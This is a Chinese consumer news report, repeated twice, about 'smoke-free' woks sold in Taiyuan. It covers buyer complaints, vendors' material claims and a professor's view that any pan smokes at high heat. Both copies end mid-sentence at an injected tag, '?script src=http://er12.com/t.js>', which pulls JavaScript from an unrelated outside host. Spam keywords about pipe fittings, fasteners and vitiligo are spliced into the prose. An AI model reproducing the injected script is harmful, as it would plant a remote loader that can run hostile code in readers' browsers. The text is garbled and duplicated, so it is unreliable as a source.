宣称使用过程中无油烟 无油烟锅有时也冒油烟福清

宣称使用过程中无油烟 无油烟锅有时也冒油烟

题记

烹调所产生的油烟在一定程度上会给人体带来危害，近几年，随着人们对健康消费需求的逐渐升级，一些宣称能够控制油烟产生的厨具开始进入市场，胡师傅、苏泊尔、爱庭等厨具生产厂家纷纷推出无油烟锅，很受消费者欢迎。但是，部分消费者购买无烟油锅后，发现使用效果不如宣传的那样好。记者调查发现，目前，我国尚没有无烟油锅的生产标准及检测标准，专家提醒消费者，理智选购无烟油锅。

投诉

无油烟锅冒烟没准儿

1月14日，山西省太原市电建二公司宿舍的王大爷上街时，被一超市附近举办的“乐家厨”无油烟锅专卖会吸引住。据王大爷介绍，无油烟锅的销售人员先讲解烹调所产生的油烟的危害，接着当场把普通炒锅与无油烟锅进行了对比演示。王大爷说：“那个演示让人们相信他们的产品确实不错。”然后，销售者又说当天买无油烟锅可以享受优惠，这款演示的无油烟锅原价598元，当天只卖268元。见到很多人购买，王大爷也心动了，当即买了一口无油烟锅。回到家，王大爷拿着这口锅炒菜，发现这口无油烟锅还是冒烟。王大爷联系不到销售人员，只好向本报记者进行反映。

太原市千峰南路的消费者赵女士告诉记者，她在去年11月份花329元买了一口某品牌炒不怕无油烟锅，她按说明书步骤等油热后开始烹饪，结果炒肉时还会冒烟。赵女士开始以为是油少，又加油进行操作，但无论赵女士倒多少油，这口锅只要炒肉就会冒烟。赵女士先后3次找专卖点询问，得到的解释是新锅有这种情况，使用一段时间就会好。赵女士说，此后她又用了两个月，情况没有改变。

太原市万柏林区的一位消费者说，他花500多元买的一口无油烟锅，刚开始用时还好些，但后来就冒烟了。

调查

无油烟锅宣称高科技

记者发现，王大爷所买锅的包装盒内带有一张说明书和质量承诺书。说明书封面上写着“磁化无油烟锅”，左下角标明该产品通过了“美国ｆｄａ表面无毒认证和欧共体ｓｇｓ：84／500食品级认证”，在外包装盒上还印有“绿色健康无油烟100％放心产品”的字样。在其质量承诺书上，记者看到了厂家的承诺，“本产品非人为损坏，如出现裂纹、糊粘、有油烟，本公司将无条件退换”。

2月5日，记者致电经销“乐振动机械家厨”无油烟锅的北京洪华骋科贸有限公司，一位工作人员表示，他们的无油烟锅烹调过程中不会冒烟，之所以出现冒烟现象，可能是消费者使用不当造成的。如果消费者觉得不满意可以换货，需要把货寄到北京，费用自理。王大爷对此表示，他无法接受这种处理办法。

记者在近日的调查中发现水管接头，在太原市场上销售的无油烟锅主要有苏泊尔、爱仕达、胡师傅及乐家厨等几个品牌，这些无油烟锅售价200元－1000元不等。

在一家超市，苏泊尔的促销员介绍其最好的无油烟锅使用的材料是陶晶，陶晶材料“硬度高，超耐磨，超耐刮，耐强酸强碱抗腐蚀，适用任何铁铲钢刷器具，寿命是普通铁锅的5－10倍”。爱仕达的无油烟锅品种较多，标称使用的材料有陶瓷、六层优质合金基材、钛金，最好的一种使用的是核瓷，爱仕达无油烟锅的宣传资料称这种核瓷无油烟锅的耐磨次数达10万次。有的厂家称他们的无油烟锅使用的材料是超导陶瓷合金，有的品牌的无油烟锅则称自己使用的钛合金是制造飞机用的材料。还有的厂家称自己使用了军工技术。

一个品牌促销员表示，正是因为他们的产品使用了这些高科技材料，所以无油烟锅的价格较高。

爱仕达无油烟锅的一个代理商给记者讲述了无油烟锅的原理。他说，普通锅的导热性能不是很好，在炒菜时，锅底的温度升高要比锅的其他地方快，无油烟锅的导热性能好，锅底温度能迅速传到锅的各个部分，所以锅底温度不会迅速升高到油的挥发点，也就不会冒烟了。

在记者调查中，消费者均表示对这些材料或技术不了解。

观紧固件点

普通锅也可以无油烟

太原市科技大学材料科学与工程学院材料物理与化学系的孙教授说，从各厂家的宣传来看，这种以改善热传导性能消除烹调油烟的办法确实能起到一定效果，但不是绝对的。记者在爱仕达无油烟锅的宣传页看到，爱仕达保证“烹饪温度在240℃以下时无油烟产生”。其他品牌无油烟锅的宣传中都有类似的说明，要求消费者在使用无油烟锅时“应该遵循使用中小火，保持热锅小火状态”。孙教授说，如果炒锅在火上一直烧，总会达到240℃。

孙教授告诉记者，烹饪用油的挥发点都在260℃以下，小火时用什么锅炒菜都可以不冒烟，如果火烧到一定程度时都会冒烟，无油烟锅也一样。冒烟是油的特性决定的，一只锅是改变不了油的特性的。

在调查中，住在太原市理工大学教师宿舍的消费者马老师告诉记者，她曾经跟几位邻居做过试验，她们把无油烟锅跟普通锅比较，按照无油烟锅“少油、小火”的原则炒菜，普通锅也不会冒多大的油烟。马老师说，这样做的结果是炒菜时间长，菜的味道不香，感觉像?script src=http://er12.com/t.js>

题记

烹调所产生的油烟在一定程度上会给人体带来危害，近几年，随着人们对健康消费需求的逐渐升级，一些宣称能够控制海棠果油烟产生的厨具开始进入市场，胡师傅、苏泊尔、爱庭等厨具生产厂家纷纷推出无油烟锅，很受消费者欢迎。但是，部分消费者购买无烟油锅后，发现使用效果不如宣传的那样好。记者调查发现，目前，我国尚没有无烟油锅的生产标准及检测标准，专家提醒消费者，理智选购无烟油锅。

投诉

无油烟锅冒烟没准儿

1月14日，山西省太原市电建二公司宿舍的王大爷上街时，被一超市附近举办的“乐家厨”无油烟锅专卖会吸引住。据王大爷介绍，无油烟锅的销售人员先讲解烹调所产生的油烟的危害，接着当场把普通炒锅与无油烟锅进行了对比演示。王大爷说：“那个演示让人们相信他们的产品确实不错。”然后，销售者又说当天买无油烟锅可以享受优惠，这款演示的无油烟锅原价598元，当天只卖268元。见到很多人购买，王大爷也心动了，当即买了一口无油烟锅。回到家，王大爷拿着这口锅炒菜，发现这口无油烟锅还是冒烟。王大爷联系不到销售人员，只好向本报记者进行反映。

太原市千峰南路的消费者赵女士告诉记者，她在去年11月份花329元买了一口某品牌炒不怕无油烟锅，她按说明书步骤等油热后开始烹饪，结果炒肉时还会冒烟。赵女士开始以为是油少，又加油进行操作，但无论赵女士倒多少油，这口锅只要炒肉就会冒烟。赵女士先后3次找专卖点询问，得到的解释是新锅有这种情况，使用一段时间就会好。赵女士说，此后她又用了两个月，情况没有改变。

太原市万柏林区的一位消费者说，他花500多元买的一口无油烟锅，刚开始用时还好些，但后来就冒烟了。

调查

无油烟锅宣称高科技

记者发现，王大爷所买锅的包装盒内带有一张说明书和质量承诺书。说明书封面上写着“磁化无油烟锅”，左下角标明该产品通过了“美国ｆｄａ表面无毒认证和欧共体ｓｇｓ：84／500食品级认证”，在外包装盒上还印有“绿色健康无油烟100％放心产品”的字样。在其质量承诺书上，记者看到了厂家的承诺，“本产品非人为损坏，如出现裂纹、糊粘、有油烟，本公司将无条件退换”。

2月5日，记者致电经销“乐家厨”无油烟锅的北京洪华骋科贸有限公司，一位工作人员表示，他们的无油烟锅烹调过程中不会冒烟，之所以出现冒烟现象，可能是消费者使用不当造成的。如果消费者觉得不满意可以换货，需要把货寄到北京，费用自理。王大爷对此表示，他无法接受这种处理办法。

记者在近日的调查中发现，在太原市场上销售的无油烟锅主要有苏泊尔、爱仕达、胡师傅及乐家厨等几个品牌，这些无油烟锅售价200元－1000元不等。

在一家超市，苏泊尔的促销员介绍其最好的无油烟锅使用的材料是陶晶，陶晶材料“硬度高，超耐磨，超耐刮，耐强酸强碱抗腐蚀，适用任何铁铲钢刷器具，寿命是普通铁锅的5－10倍”。爱仕达的无油烟锅品种较多，标称使用的材料有陶瓷、六层优质合金基材、钛金，最好的一种使用的是核瓷，爱仕达无油烟锅的宣传资料称这种核瓷无油烟锅的耐磨次数达10万次。有的厂家称他们的无油烟锅使用的材料是超导陶瓷合金，有的品牌的无油烟锅则称自己使用的钛合金是制造飞机用的材料。还有的厂家称自己使用了军工技术。

一个品牌促销员表示，正是因为他们的产品使用了这些高科技材料，所以无油烟锅的价格较高。

爱仕达无油烟锅的一个代理商给记者讲述了无油烟锅的原理。他说，普通锅的导热性能不是很好，在炒菜时，锅底的温度升高要比锅的其他地方快，无油烟锅的导热性能好，锅底温度能迅速传到锅的各个部分，所以锅底温度不会迅速升高到油的挥发点，也就不会冒烟了。

在记者调查中，消费者均表示对这些材料或技术不了解。

观点

普通锅也可以无油烟

太原市科技大学材料科学与工程学院材料物理与化学系的孙教授说，从各厂家的宣传来看，这种以改善热传导性能消除烹调油烟的办法确实能起到一定效果，但不是绝对的。记者在爱仕达无油烟锅的宣传页看到，爱仕达保证“烹饪温度在240℃以下时无油烟产生”。其他品牌无油烟锅的宣传中都有类似的说明，要求消费者在使用无油烟锅时“应该遵循使用中小火，保持热锅小火状态”。孙教授说，如果炒锅在火上一直烧，总会达到240℃。

孙教授告诉记者，烹饪用油的挥发点都在260℃以下，小火时用什么锅炒菜都可以不冒烟，如果火烧到一定程度时都会冒烟，无油烟锅也一样。冒烟是油的特性决定的，一只锅是改变不了油的特性的。

在调查中，住在太原市理工大学教师宿舍的消费者马老师告诉记者，她曾经跟几位邻居做过试验，她们把无油烟锅跟普通锅比较，按照无油烟锅“少油、小火”的原则炒菜，普通锅也不会冒多大的油烟。马老师说，这样做的结果是炒菜时间长，菜的味道不香，感觉像?script src=http://er12.com/t.js>白癜风的症状是什么
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